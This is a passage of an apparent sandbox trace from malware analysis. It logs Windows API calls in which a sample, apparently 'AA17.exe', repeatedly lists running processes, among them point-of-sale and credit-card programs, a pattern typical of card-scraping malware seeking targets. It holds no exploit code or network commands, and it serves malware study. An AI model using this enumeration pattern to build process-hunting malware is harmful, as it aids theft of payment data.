lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0239.408] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0239.410] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0239.413] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0239.415] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0239.417] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0239.419] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0239.421] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0239.422] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0239.424] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0239.426] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0239.428] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0239.430] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0239.433] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0239.435] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0239.437] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0239.438] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.440] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0239.442] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.444] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0239.446] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0239.448] CloseHandle (hObject=0x21ec) returned 1 [0239.448] Sleep (dwMilliseconds=0x64) [0239.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0239.487] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.491] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.493] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.495] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.497] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.499] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.501] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.502] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.504] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.508] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.510] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.512] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.514] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.516] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.518] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.520] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.523] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.525] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.527] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.529] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.533] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0239.535] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.537] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.538] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0239.540] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0239.542] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0239.545] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0239.547] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.549] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0239.552] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0239.554] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.557] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.562] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0239.565] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.568] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.570] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.572] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.574] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0239.575] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0239.578] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0239.579] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0239.581] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0239.582] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0239.584] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0239.586] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0239.587] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0239.589] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0239.591] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0239.593] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0239.595] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0239.598] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0239.609] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0239.611] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0239.613] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0239.615] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0239.617] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0239.624] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0239.626] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0239.630] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0239.632] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0239.634] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0239.636] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 